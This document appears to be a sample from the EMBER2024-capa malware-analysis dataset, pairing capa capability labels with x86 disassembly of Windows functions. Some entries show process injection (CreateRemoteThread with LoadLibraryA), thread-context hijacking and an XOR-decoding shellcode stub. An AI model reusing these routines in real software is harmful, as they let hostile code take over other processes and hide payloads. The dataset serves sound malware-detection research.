joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b280
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1000b291
sub ecx, edx
mov edx, 2
sar ecx, 1
mov dword [ebp - 4], ecx
lea eax, [ecx + 1]
xor ecx, ecx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.100154be
add esp, 4
mov dword [ebp + 8], eax
sub eax, esi
movzx ecx, word [esi]
lea esi, [esi + 2]
mov word [eax + esi - 2], cx
test cx, cx
jne 0x1000b2c4
call fcn.100137b0
test al, al
je 0x1000b2fd
pop edx
push esi
pop edx
push esi
push ebp
push esp
pop edi
push eax
pop edi
push edx
pop esi
pop esi
push ecx
pop ebx
pop ebx
push ebp
pop esp
push esi
pop ebp
pop eax
pop ecx
push ecx
push eax
pop edi
push esi
pop ebp
push esi
pop ebx
pop ecx
push eax
pop ebp
push edi
call fcn.10013820
test al, al
je 0x1000b317
pop esi
push esp
push ecx
pop edx
push ebp
pop edx
push eax
pop eax
push esp
pop ebx
push ebp
push eax
pop esi
pop eax
pop ebx
push edi
push esp
call fcn.10013c80
test al, al
je 0x1000b340
push edx
push esp
pop esp
pop esi
push ebx
pop eax
pop edi
push eax
push ecx
pop esp
pop edi
push edi
pop esp
pop ebp
pop ecx
pop ecx
push eax
push eax
push ecx
pop edi
pop ebp
pop ebp
push esp
pop ebx
push ebp
push eax
push ecx
push ebx
pop ebp
pop esp
pop eax
pop ecx
mov eax, dword [ebp - 4]
xor ebx, ebx
mov dword [ebp - 8], ebx
lea esi, [ebx + 1]
test eax, eax
js 0x1000b409
mov esi, dword [ebp + 8]
nop word [eax + eax]
cmp word [esi + ebx*2], 0x5c
jne 0x1000b3f8
call fcn.10013820
test al, al
je 0x1000b391
push eax
pop esi
pop edi
pop esp
push esi
pop edi
pop ecx
pop ebp
push ebx
pop ebp
push ecx
push ecx
push eax
push edi
push ebx
pop esi
pop eax
pop edx
push esi
push esp
push edi
pop ecx
pop ebx
push ecx
pop ebx
push edx
pop edx
pop esp
pop edx
call fcn.100132e0
test al, al
je 0x1000b3b0
push ebp
pop ecx
push esp
pop edx
push ecx
push ebx
push edi
push esp
pop ebx
pop eax
pop edx
pop edx
push ebx
pop esi
pop ecx
push ebx
push esi
pop ecx
push ebx
push edx
push ebp
pop edi
call fcn.10013580
test al, al
je 0x1000b3ca
push edi
pop esp
pop edx
push eax
push edx
pop ebp
push ebx
push esp
push esp
pop esi
pop esp
pop eax
push ebx
push ecx
push esp
push esp
pop ecx
mov esi, dword [ebp + 8]
xor eax, eax
mov ebx, dword [ebp - 8]
push esi
movzx edi, word [esi + ebx*2]
mov word [esi + ebx*2], ax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1000b3f1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x1000b41d
mov eax, dword [ebp - 4]
mov word [esi + ebx*2], di
inc ebx
mov dword [ebp - 8], ebx
cmp ebx, eax
jle 0x1000b360
mov esi, 1
push dword [ebp + 8]
call fcn.100154c7
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
xor esi, esi
call fcn.100154c7
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b440
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x1005d0b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x218], eax
mov eax, dword [ebp + 0xc]
push 0
mov dword [ebp - 0x214], eax
lea eax, [ebp - 0x20c]
push 0x1a
push eax
push 0
call fcn.1000bd80
lea ecx, [ebp - 0x20c]
add esp, 0x10
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1000b486
sub ecx, edx
sar ecx, 1
mov dword [ebp - 0x210], ecx
call fcn.100133c0
test al, al
je 0x1000b4be
pop edi
pop edi
push esp
pop esp
pop edx
pop esi
pop ebx
pop ebx
push edi
push eax
pop esi
pop edx
pop ebx
pop ecx
push ebx
pop edi
pop ebx
pop esi
pop esi
push ebx
pop edx
pop ecx
push ecx
push esi
pop ebp
push eax
call fcn.10013d60
test al, al
je 0x1000b4d8
pop ebx
pop ebp
push esi
push eax
pop edi
push ecx
pop esi
pop edx
pop edx
push ebx
pop esi
push ebp
pop ebp
pop ebx
pop esi
pop ebx
pop edi
cmp dword [ebp - 0x210], 0
je 0x1000b626
lea edi, [ebp - 0x20c]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x1000b4f0
mov eax, dword [0x10047324]
mov edx, dword [ebp - 0x214]
mov esi, edx
mov dword [edi], eax
nop dword [eax + eax]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x1000b510
lea edi, [ebp - 0x20c]
sub edx, esi
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x1000b526
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x20c]
add edi, 0xfffffffe
nop dword [eax]
mov cx, word [edi + 2]
lea edi, [edi + 2]
test cx, cx
jne 0x1000b550
mov dword [edi], eax
call fcn.100136d0
test al, al
je 0x1000b583
pop eax
pop ebp
pop edi
push ebx
push esi
pop edx
pop esp
push edx
pop esi
pop edx
push esp
pop edx
push ebx
pop edi
push esp
push ebp
push edx
pop esp
push edx
push edi
push esp
pop esp
pop ecx
pop ecx
pop ebx
push edi
push ebp
push edi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1000b5a3
lea eax, [ebp - 0x20c]
push eax
call fcn.1000b280
add esp, 4
call fcn.10013350
test al, al
je 0x1000b5c7
pop esi
pop eax
push edx
push edx
push esi
pop esp
pop eax
pop edi
pop esi
pop esp
push esi
pop eax
push esp
push eax
push ebp
push ebx
pop ebp
push edx
push esp
pop edx
push edx
pop edx
push edx
push eax
pop eax
pop ecx
push esp
call fcn.10013b30
test al, al
je 0x1000b5ed
push edx
pop ebp
pop ebx
pop ecx
pop ebx
push ebx
pop ebx
push edi
pop esi
push edx
push ebx
pop ebp
push ecx
push ecx
pop esp
pop edi
pop edx
push eax
pop ebp
pop esi
pop edi
push edx
pop ebp
push ebp
pop eax
push ebx
push edx
push eax
pop eax
cmp word [ebp - 0x20c], 0
jne 0x1000b5fb
xor ecx, ecx
jmp 0x1000b613
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1000b604
sub ecx, edx
sar ecx, 1
push ecx
mov ecx, dword [ebp - 0x218]
lea eax, [ebp - 0x20c]
push eax
call fcn.100027f0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100157fc
mov esp, ebp
pop ebp
ret
Function at 0x10011200
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10044dc6
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x1005d0b4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x418], 0
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0x60
push 0
push esi
mov byte [ebp - 4], 1
call ebx
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x100112ac
push 2
push eax
push esi
call ebx
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x100112ac
call fcn.1000fbf0
mov esi, eax
jmp 0x1001139c
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x100112cf
call fcn.1000fbf0
jmp 0x1001138f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
test ebx, ebx
jne 0x100112ed
call fcn.1000fbf0
jmp 0x1001138f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x41c], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x1001130e
mov esi, 0x8007000e
jmp 0x10011391
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1000fa20
jmp 0x10011338
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
jne 0x1001134f
mov esi, 0x8007000e
jmp 0x10011391
push esi
push dword [ebp - 0x418]
push esi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x1001136f
call fcn.1000fbf0
jmp 0x1001138f
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.100110a0
mov esi, eax
test edi, edi
je 0x1001139c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x100113c0
lea ecx, [ebp - 0x418]
call fcn.10010380
nop word [eax + eax]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100157fc
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10011bf0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
test ebx, ebx
jne 0x10011c09
lea eax, [ebx + 0xd]
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
push edi
xor esi, esi
mov edx, ebx
nop
mov eax, edx
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10011c15
sub eax, edi
sar eax, 1
lea ecx, [eax + 1]
lea edx, [edx + ecx*2]
lea esi, [esi + ecx*2]
cmp ecx, 1
jne 0x10011c10
mov eax, dword [ebp - 4]
push esi
push ebx
push 7
push 0
push dword [ebp + 8]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10011c50
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
test edx, edx
jne 0x10011c65
lea eax, [edx + 0xd]
pop esi
pop ebp
ret 0xc
mov eax, edx
push edi
lea edi, [eax + 2]
nop dword [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10011c70
sub eax, edi
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push edx
push dword [ebp + 0x10]
push 0
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x10018474
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x1003de4d
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003db0d
Function at 0x10008340
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100252c0

Function at 0x1006a12e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1006a13d
pop dword [ebp - 0x2c]
mov eax, 0x1006a13d
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x6526641e
add dword [ebp - 0x3c], 0xe92be12d
mov dword [ebp - 0x38], 0x1cafee2b
sub dword [ebp - 0x38], 0xea7ca1e6
mov dword [ebp - 0x34], 0xc21fb909
add dword [ebp - 0x34], 0x8a2c8b25
mov dword [ebp - 0x30], 0x42dbd872
sub dword [ebp - 0x30], 0x42dbd872
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x2bc1d1a9
add eax, 0xe4452f63
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xb9076979
sub dword [ebp - 0x3c], 0x44950023
mov dword [ebp - 0x38], 0xda9e269a
sub dword [ebp - 0x38], 0x9931c525
mov dword [ebp - 0x34], 0x81c537a7
add dword [ebp - 0x34], 0xe1aa34c5
mov dword [ebp - 0x30], 0xe21b217e
add dword [ebp - 0x30], 0x1de4de82
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x19dca0a5
add eax, 0xf62a5f9b
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x63bfc
push 0
call eax
mov ecx, 0x3d65e03b
add ecx, 0xc29a59d6
mov edx, eax
mov ebx, 0xa20b9f6f
sub ebx, 0x9203536f
add ebx, dword [ebp - 0x2c]
mov esi, 0x763ebba7
add esi, 0x12d76573
sub dword [ebp - 0x1c], 0x6cf92a0d
mov edi, dword [ebx]
sub dword [ebp - 0x24], 0xb2d1990a
xor edi, esi
add dword [ebp - 4], 0x1681dbe5
mov dword [edx], edi
xor dword [ebp - 4], ebx
add edx, 0xb0ddfc93
sub edx, 0xb0ddfc8f
add ebx, 0xbba9329a
add ebx, 0x4456cd6a
loop 0x1006a25a
add eax, 0x194e21a
sub eax, 0x1940703
xor ebx, ebx
add ebx, eax
add eax, 0xddfd947d
sub eax, 0xddfd9478
mov ecx, 0xb1f8175
add ecx, 0x4e07e8b
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x10002420
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6f0
mov eax, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 5
pop ecx
mov esi, 0x100011a0
lea edi, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 0x2f0], 0x10007
mov ecx, 0xb2
lea edi, [ebp - 0x2ec]
push ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.DLL_SuspendThread]
lea eax, [ebp - 0x2f0]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
push 0x40
push 0x3000
push 0x400
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10002539
lea eax, [esi + 0x14]
mov dword [ebp - 4], eax
push 0x14
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6f0]
push eax
call sub.MSVCRT.dll_memcpy
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0xc
push dword [ebp + 0x10]
call edi
inc eax
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x6dc]
push eax
call sub.MSVCRT.dll_memcpy
push 4
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x6ee]
push eax
call sub.MSVCRT.dll_memcpy
push 4
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x6e9]
push eax
call sub.MSVCRT.dll_memcpy
push 4
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x6e1]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x30
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
call edi
add eax, 0x15
push eax
lea eax, [ebp - 0x6f0]
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
lea eax, [ebp - 0x2f0]
push eax
push ebx
mov dword [ebp - 0x238], esi
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x10002940
Capabilities:
Check if file exists
Get common file path
Get file attributes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
push ebx
push 0x104
lea eax, [ebp - 0x110]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x100011b8
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000298c
xor eax, eax
jmp 0x10002a24
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x10002a21
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
push ebx
lea ecx, [ebp - 8]
push ecx
mov edi, 0x268
push edi
lea ecx, [ebp - 0x378]
push ecx
push eax
jmp 0x10002a07
cmp dword [ebp - 8], ebx
je 0x10002a16
push dword [ebp + 0xc]
lea eax, [ebp - 0x2a0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
jne 0x100029f7
push dword [ebp + 8]
lea eax, [ebp - 0x368]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
je 0x10002a0f
push ebx
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x378]
push eax
push dword [ebp - 0xc]
call esi
test eax, eax
jne 0x100029ca
jmp 0x10002a16
mov dword [ebp - 4], 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x10002a27
Capabilities:
Check if file exists
Get common file path
Get file attributes
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x100011b8
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor esi, esi
push esi
cmp eax, 0xffffffff
push esi
lea eax, [ebp - 0x108]
jne 0x10002a9b
push 2
push esi
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002ad9
push 6
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
jmp 0x10002abe
push 3
push esi
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002ad9
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
lea eax, [ebp - 4]
push eax
push 0x268
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
leave
ret
Function at 0x10002c6a
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ecx
push ecx
and dword [esp + 4], 0
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push esi
push edi
mov edi, 0x1000
push edi
push 0
mov ebx, edi
call ebp
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10002ce0
lea eax, [esp + 0x10]
push eax
push edi
jmp 0x10002cb7
add ebx, edi
push ebx
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.DLL_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x10002ce0
lea eax, [esp + 0x10]
push eax
push ebx
push esi
push 5
call sub.ntdll.dll_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x10002c9c
test eax, eax
jne 0x10002cff
and dword [esp + 0x10], eax
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
push 0x10001200
push dword [esi + 0x3c]
mov edi, esi
jmp 0x10002cf4
xor eax, eax
jmp 0x10002d11
mov eax, dword [edi]
test eax, eax
je 0x10002cff
add edi, eax
push 0x10001200
push dword [edi + 0x3c]
call ebx
test eax, eax
jne 0x10002ce4
mov edi, dword [edi + 0x44]
jmp 0x10002d03
mov edi, dword [esp + 0x14]
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x10002d80
Capabilities:
Acquire debug privileges
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 4], ebx
call fcn.10002c6a
mov esi, eax
cmp esi, ebx
jne 0x10002d9f
xor eax, eax
jmp 0x10002e3b
push edi
push 0x10001214
call fcn.10002d18
pop ecx
push esi
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
cmp edi, ebx
jne 0x10002dc2
xor eax, eax
jmp 0x10002e3a
push 4
push 0x1000
mov esi, 0x104
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10002e29
lea ecx, [ebp - 8]
push ecx
push esi
push 0x10004208
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x10002e29
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0xc]
push dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10002e29
push 0xfa0
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp eax, ebx
jne 0x10002e29
mov dword [ebp - 4], 1
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
call esi
push dword [ebp - 0xc]
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003380
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x100033f1
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x100033f1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
test eax, eax
jne 0x100033da
jmp 0x100033f1
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x100118b0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
mov eax, dword [0x100ffa04]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 0x224]
push str.SoftwareClassesCLSID_
call fcn.10007e90
push 0x104
lea eax, [ebp - 0x20c]
push eax
mov eax, dword [edi + 0xc]
push dword [eax + 0xc]
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x224]
call fcn.1000c9c0
cmp dword [ebp - 0x210], 8
lea eax, [ebp - 0x224]
cmovae eax, dword [ebp - 0x224]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov esi, eax
cmp esi, 2
je 0x10011939
test esi, esi
jle 0x10011937
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x10011978
lea ecx, [ebp - 0x29c]
call fcn.100168a0
mov eax, dword [edi + 0xc]
sub esp, 0x10
mov ecx, esp
mov eax, dword [eax + 0xc]
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
lea ecx, [ebp - 0x29c]
call fcn.10016cf0
mov esi, eax
lea ecx, [ebp - 0x29c]
xor eax, eax
cmp esi, 0x80070002
cmove esi, eax
call fcn.10016980
cmp dword [ebp - 0x210], 8
jb 0x1001198c
push dword [ebp - 0x224]
call fcn.10022bb0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.1008aaed
mov esp, ebp
pop ebp
ret
Function at 0x100130c0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x100ffa04]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
sub eax, 1
je 0x100130f7
sub eax, 2
jne 0x10013233
call fcn.10062160
push eax
mov ecx, dword [eax]
call dword [ecx + 0x68]
jmp 0x10013233
push 0x104
lea eax, [ebp - 0x20c]
mov dword [0x101045e8], ecx
push eax
xorps xmm0, xmm0
push ecx
movlpd qword [ebp - 0x224], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x1001312f
xorps xmm0, xmm0
movlpd qword [ebp - 0x214], xmm0
jmp 0x1001321d
add eax, eax
cmp eax, 0x208
jae 0x10013248
xor ecx, ecx
mov word [ebp + eax - 0x20c], cx
lea eax, [ebp - 0x218]
push edi
push eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x218], ecx
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov edi, eax
test edi, edi
jne 0x10013176
xorps xmm0, xmm0
movlpd qword [ebp - 0x214], xmm0
jmp 0x1001321c
push esi
push edi
call fcn.1008b181
mov esi, eax
add esp, 4
test esi, esi
je 0x100131a7
push esi
push edi
push dword [ebp - 0x218]
lea eax, [ebp - 0x20c]
push eax
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
jne 0x100131b4
push esi
call fcn.1008b18a
add esp, 4
xorps xmm0, xmm0
movlpd qword [ebp - 0x214], xmm0
jmp 0x1001321b
push ebx
lea eax, [ebp - 0x210]
mov dword [ebp - 0x210], 0
push eax
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x21c], 0
push eax
push 0x100bdc80
push esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x100131f9
mov eax, dword [ebp - 0x21c]
xor edi, edi
add edi, dword [eax + 0xc]
mov ebx, dword [eax + 8]
adc ebx, 0
jmp 0x10013205
mov ebx, dword [ebp - 0x220]
mov edi, dword [ebp - 0x224]
push esi
call fcn.1008b18a
add esp, 4
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x214], edi
pop ebx
pop esi
pop edi
mov eax, dword [ebp - 0x214]
mov dword [0x101045f0], eax
mov eax, dword [ebp - 0x210]
mov dword [0x101045f4], eax
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.1008aaed
mov esp, ebp
pop ebp
ret 0xc
call fcn.1008b2b0
int3